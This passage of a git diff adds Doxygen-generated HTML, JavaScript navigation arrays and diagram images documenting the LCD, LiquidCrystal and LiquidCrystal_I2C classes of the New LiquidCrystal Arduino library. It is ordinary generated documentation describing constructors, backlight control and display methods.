+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.js b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.js new file mode 100644 index 0000000..2f9a0cb --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.js @@ -0,0 +1,36 @@ +var class_l_c_d = +[ + [ "LCD", "class_l_c_d.html#a00bb2db1390721abc7b24ac4b8c276c8", null ], + [ "autoscroll", "class_l_c_d.html#abb3ed88d530f6283e6159b4973e7da9e", null ], + [ "backlight", "class_l_c_d.html#aba8867fe2210cbfa8db869208709be10", null ], + [ "begin", "class_l_c_d.html#a3f587d1cbb2d59765ef60a5216b56fea", null ], + [ "blink", "class_l_c_d.html#a878b36878fa8287093964eba83aace77", null ], + [ "clear", "class_l_c_d.html#afa699e0beeeee03cce8cef87eba81c4a", null ], + [ "createChar", "class_l_c_d.html#a91cba8f93c692abcddf8bc3de58d2d3a", null ], + [ "cursor", "class_l_c_d.html#a194814f64dfa50a90e07e0fe0d361620", null ], + [ "display", "class_l_c_d.html#a5b07cf05e8e5e7c53654f5ca0cf58b89", null ], + [ "home", "class_l_c_d.html#aee45ad37f09312f5d9982257e2d37e68", null ], + [ "leftToRight", "class_l_c_d.html#a238e9f6476dc7df64af04eb6c87f6ac7", null ], + [ "moveCursorLeft", "class_l_c_d.html#aad2abc99d1aca5403873579d9d72c2d4", null ], + [ "moveCursorRight", "class_l_c_d.html#a09eec0c712e54b066f5894635c1fe75c", null ], + [ "noAutoscroll", "class_l_c_d.html#a96035dde40efbf73390e00b5beb00231", null ], + [ "noBacklight", "class_l_c_d.html#a2a331b4e142734411b2f1cfaffe7a488", null ], + [ "noBlink", "class_l_c_d.html#a3b755c4b397b5985752be8c30ee1a9b5", null ], + [ "noCursor", "class_l_c_d.html#aec8ffaa1e69c7a6e13ac0cfbc29151d9", null ], + [ "noDisplay", "class_l_c_d.html#af3974da6d988ba2d21c25135ada12108", null ], + [ "off", "class_l_c_d.html#a191639be183be1476c9bfe6d455d23b2", null ], + [ "on", "class_l_c_d.html#a718da3a638deb59bd1c7a5222a52d98a", null ], + [ "rightToLeft", "class_l_c_d.html#ac014830eadc26bfd86308ea8734f4428", null ], + [ "scrollDisplayLeft", "class_l_c_d.html#a6f3a503055b3b8dcf0f61b2633c584f7", null ], + [ "scrollDisplayRight", "class_l_c_d.html#abfc44b294772f09020bfa32af8a79571", null ], + [ "setBacklight", "class_l_c_d.html#a3305570d7b37eb93f2cf840263c15828", null ], + [ "setBacklightPin", "class_l_c_d.html#a53f4ee9b39d9ab3d7ae4d9f8dedca3bc", null ], + [ "setCursor", "class_l_c_d.html#a48220450fd152b25994eb7d0ba340e8d", null ], + [ "write", "class_l_c_d.html#a2d89cc2e62f72afb5f15a7fd812900e3", null ], + [ "_cols", "class_l_c_d.html#a88b16ea0e5c7d1cabc5007d48bcbd2b0", null ], + [ "_displaycontrol", "class_l_c_d.html#ae47a0e2eff74431a39774b788d5761f4", null ], + [ "_displayfunction", "class_l_c_d.html#aef093ba3f8e1016267b40ac235a0fa0f", null ], + [ "_displaymode", "class_l_c_d.html#a726b9a68d091dd8683a18e83f3a8fd3c", null ], + [ "_numlines", "class_l_c_d.html#ac1374911fb145fea430c21092ada0c06", null ], + [ "_polarity", "class_l_c_d.html#a990338759d2abe10b0fb1743b7789566", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.png b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.png new file mode 100644 index 0000000000000000000000000000000000000000..6244522096bc39ec7c94fbf9df7fd5dd9930ba31 GIT binary patch literal 3647 zcmdT{X;c$g8ciHp14y$di#CEl0`5^!q1oaDP=gYXU4$SmFepM0q8I`}38<}zL?p7S zY|4%xTZCXS%IQWxi2;!{6D1}H0U`tv61s33TaPnmy8Fj;ol~b?y?XDf@7?}l$wwSyNe$2~5#b8~ZG^YxoaLIQ9FY`r@h z8ymm7(5nmH!or-e&Jb|W{K5LgWiuGB4P*0nmvHDv-*ED+U0OCzt;;lKWWg4=n!^g6 zxz>40Z@pl`a#);9<>}pBgg*MhF(@H7X(BVWEXk<|?P0gtO>bT9(n6JFr=M7-VZqAn zr~QBQ0(*`0dlxGDuFjn;N-3jDYh?s!M9O0)yBS*Bu5e+RNp8|X0uaHDR2#Mj$3z&V z0bqn*7#e_+UAY1{&BM~*@sipkCt1~eWLMbk)eqNDz)9+#2K+k#UF+urZ&4mJy#%@v zI(tk{4!=B3Yk^j*N+VBS%Q~8jq(JOQHXeE zW(eO8h}4gh{eKfW;~ZY5#Ib&RM42g6?XRLS^43SQcrcnTi6v70O&%7B&?2l&xHP5z znFNC6>d8IN{YGk&n<(C0gy7|kyyXzJMur9&lJ9$7FM2Nwn!e%eCb?-5xH66Hf6B_f zf@;L}xhQh31bV-$4~F1bD&B@qnP??%tIH#c~8H|*B6IzG#6cL!}n zdRYo^t+#x! z<9!o0C9qIrkvwf}$il#>{A2g(q5UDvMiUk()VJQv21zdUQQOBA*JC`@(e4{5RfBAK zL;&|=?kaXvR~X`F{vnv8K`^i-TC+-1uMzVV0)Mnvz7;S+bt-azaSVbCG(lsC?O$f4 zLh-KXw&?Yaf(NipR7RQ0+Aye=Xg!^TC;f9> z!ex6dN?$w9_qhRv*ol;HR`=OJoVY^EX}(NEYBwJxReN1iXVXML0C$VS%U5>k&@?H} z^LS~y`RKGwrco$79knqCe4(|9T>%bNGaYpz(yk-H48g8YuYM{CdJVtByF@`|yi0y= z9|-sw3iYr$8go|xtfk1sz5^m@+QKnlN?*dshrPf_sVCryj0PbS!e>t?q2&5jDA zgt=U1SE$IB?$D`FF>_$IhoXZs?zmOT*w9|pe$lavSCX#Mom@X6dArA)gM3~PA&UsrR^MU~l58~Aje5Io?&Hptjbxld?3ATww-oYnOkYm!Is1YgoU zLGO*Efy{*9p5rJGqt$;zL;sgA_FqIO!RSqD>kxZ%!T?j4oXwgEnJgX;bs#^u2}1;A z%O8s9)?inPW#S=C?H~nY_6cbPN&1N}-J3(#4^2ccWLaUWfV7>q;RB_F4@3rfwOE3a;s)7DGs>+5M)z5=v71zY~x;GhO z(lX-5UKxj*qA_B|U*k)}sC;e*{Mj0DUAOGnUQl(je|W?^vY*1_bF<7Qmg4e;#QqvJ zBPM3=OyNd6`S^iM>PMDbaN`%a50my24uS-6HxtTX7xlDPo#)auWoJRfdh8x%UN91T zHHTZDj@OFwO@Q-GGvM0pB>L-@A|Ryb(J93pw$rn?@EyP>wF-{rNJnL$T!Fajqd@}D z>0Rx~yE+`qR?q8HfNW~nx;w;-t7Eao;f^5QbMxZ#xzYW9R(`wTmz7TlMG@y#xKf{; zgrPAn{vqp3YpH_evxHOMpI!h+2EDd%MCqa*GG^XR_ImrL*QyUKAnSjudqdAVg}7qj zaaL-X=LU@Oiu3cHjNOV+XQuiM<4iB(VTJVG6SmdaFJx7W502qExf_UO58D?PA+8a0m5dKm#&3EwY zWIdq1EyUW^G%wb<=tz~__~6YStwO9duh%B?dTk5CQ~$i3+<#Uf7LF1*AQCKZRP2d& zr1n>QnN=WA(jBNXx&cM4Jo=+&hOWDh2{XU>JLfOapFG*Eoib)+O0$<<3y!$gMiLW8 zt$bRp+`GPYHUJi^qt1?GbOyv7jk?!X?YiD~>lFt-+4lFcgDD8?+%i&+$C)dEVidLw z7}wk6^K|646|S}gHAa4C4T + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal Member List
+
+
+ +

This is the complete list of members for LiquidCrystal, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) (defined in LiquidCrystal)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol) (defined in LiquidCrystal)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol) (defined in LiquidCrystal)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3) (defined in LiquidCrystal)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol) (defined in LiquidCrystal)LiquidCrystal
LiquidCrystal(uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol) (defined in LiquidCrystal)LiquidCrystal
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystalvirtual
setBacklight(uint8_t value)LiquidCrystalvirtual
setBacklightPin(uint8_t pin, t_backlighPol pol)LiquidCrystalvirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.html new file mode 100644 index 0000000..5886c9c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.html @@ -0,0 +1,477 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+ +
+
LiquidCrystal Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 
LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 
LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)
 
LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)
 
 LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
 
LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
 
LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)
 
LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklightPin (uint8_t pin, t_backlighPol pol)
 
void setBacklight (uint8_t value)
 
- Public Member Functions inherited from LCD
 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+

8 bit LCD constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t rw,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3 
)
+
+

4 bit LCD constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal::send (uint8_t value,
uint8_t mode 
)
+
+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters
+ + +
valueValue to send to the LCD.
+
+
+
Returns
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal::setBacklight (uint8_t value)
+
+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin. For dimming control of the backlight, the configuration pin must be a PWM output pin. Dim control is achieved by passing a value from 1 to 255 as a parameter. If the pin configured when calling the setBacklightPin does not support PWM, then: (0) backlight off, (1..255) backlight on.
+
Parameters
+ + +
valuebacklight value. 0: off, 1..255: dim control of the backlight. For negative logic 255: off, 254..0: dim control.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal::setBacklightPin (uint8_t pin,
t_backlighPol pol 
)
+
+virtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight.

+
Parameters
+ + + +
pinpin assigned to the backlight
polbacklight pin control polarity (POSITIVE, NEGATIVE).
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal.cpp
  • +
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.js new file mode 100644 index 0000000..8cff7f4 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.js @@ -0,0 +1,14 @@ +var class_liquid_crystal = +[ + [ "LiquidCrystal", "class_liquid_crystal.html#a49d2bd8d26031a1c83bcbd73978a1686", null ], + [ "LiquidCrystal", "class_liquid_crystal.html#a30e3d865c4b4a003a36cb45903f93644", null ], + [ "LiquidCrystal", "class_liquid_crystal.html#aff2330186495fde93370d46c0ca2cbf0", null ], + [ "LiquidCrystal", "class_liquid_crystal.html#ae0c3c8f7661634b1400f00a1c9c02c26", null ], + [ "LiquidCrystal", "class_liquid_crystal.html#a0a0a8dfa7a2e775a031fd65f5c6366ec", null ], + [ "LiquidCrystal", "class_liquid_crystal.html#a23124e6dd5ac4a9b6147629b96e91953", null ], + [ "LiquidCrystal", "class_liquid_crystal.html#a8b90122c67a6d14b967c8a11ba490670", null ], + [ "LiquidCrystal", "class_liquid_crystal.html#a52a4de3d866e347208a32dfc9d797729", null ], + [ "send", "class_liquid_crystal.html#a56142f8b3753bedd133e4139e5eb5089", null ], + [ "setBacklight", "class_liquid_crystal.html#aa2b898366e1c656ac313b9007c98cebd", null ], + [ "setBacklightPin", "class_liquid_crystal.html#a63740dc1198d8169a39d9c6daff0efc9", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal.png new file mode 100644 index 0000000000000000000000000000000000000000..85a5b0c1d37941abc3833d94d8398c047c76b49d GIT binary patch literal 498 zcmVvTJkN^MxkN^Mxkifve1&Q1r00008bW%=J0RR90|NsC0)yh;d0004jNklOz-Qq-o7z2JIT~qsUE1G)qt7V>!C_D zOcfFF4ggFh1Au!%)SM&O5OqNV*ckPvYJe(Ls#K{`rTTBxlu~jJlB%k6sD4S6`pfd! zn>wbddX#Ckw9Dbvs;Zu5R&7fjyQ->>q556by9RFc=~}OAs#K}|TUA8FJrDqJ4%J|FY`XKUDK8fQ?$bu=b2j@?S6X=bW6ObKma(*vrFDq opI-5-1SpWb407*qoM6N<$f}^AD*Z=?k literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c-members.html new file mode 100644 index 0000000..46d49de --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c-members.html @@ -0,0 +1,143 @@ + + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_I2C Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_I2C, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LiquidCrystal_I2Cvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_I2C(uint8_t lcd_Addr)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_I2C)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_I2C)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_I2C)LiquidCrystal_I2C
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_I2Cvirtual
setBacklight(uint8_t value)LiquidCrystal_I2Cvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LiquidCrystal_I2Cvirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.html new file mode 100644 index 0000000..3b6fd86 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.html @@ -0,0 +1,536 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_I2C Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+ +
+
LiquidCrystal_I2C Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_I2C:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_I2C (uint8_t lcd_Addr)
 
LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol)
 
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)
 
LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol)
 
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 
LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklightPin (uint8_t value, t_backlighPol pol)
 
void setBacklight (uint8_t value)
 
- Public Member Functions inherited from LCD
 LCD ()
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs 
)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + + + + + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
d4[in]LCD data 0 pin map on IO extender module
d5[in]LCD data 1 pin map on IO extender module
d6[in]LCD data 2 pin map on IO extender module
d7[in]LCD data 3 pin map on IO extender module
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
)
+
+virtual
+
+

LCD initialization and associated HW. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class or parent class.

+

The begin method can be overloaded if necessary to initialize any HW that is implemented by a library and can't be done during construction, here we use the Wire class.

+
Parameters
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]size of the characters of the LCD: LCD_5x8DOTS or LCD_5x10DOTS.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::send (uint8_t value,
uint8_t mode 
)
+
+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_I2C::setBacklight (uint8_t value)
+
+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
valuebacklight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::setBacklightPin (uint8_t value,
t_backlighPol pol = POSITIVE 
)
+
+virtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This device doesn't support dimming backlight capability.

+
Parameters
+ + +
0backlight off, 1..255: backlight on.
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C.cpp
  • +
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.js new file mode 100644 index 0000000..d5abd91 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.js @@ -0,0 +1,13 @@ +var class_liquid_crystal___i2_c = +[ + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#aac537d195557e0b8afac1a71441a484c", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#a9fc9bc519ebbf7503dadc11622e02ed6", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#a517f8847ebf09f0eacfb9c7232975fce", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#add1f2da7de4ec9b9cd5c9b5fab712464", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#a7d9b54d3a91fa0e0e50db27cda6b4654", null ], + [ "LiquidCrystal_I2C", 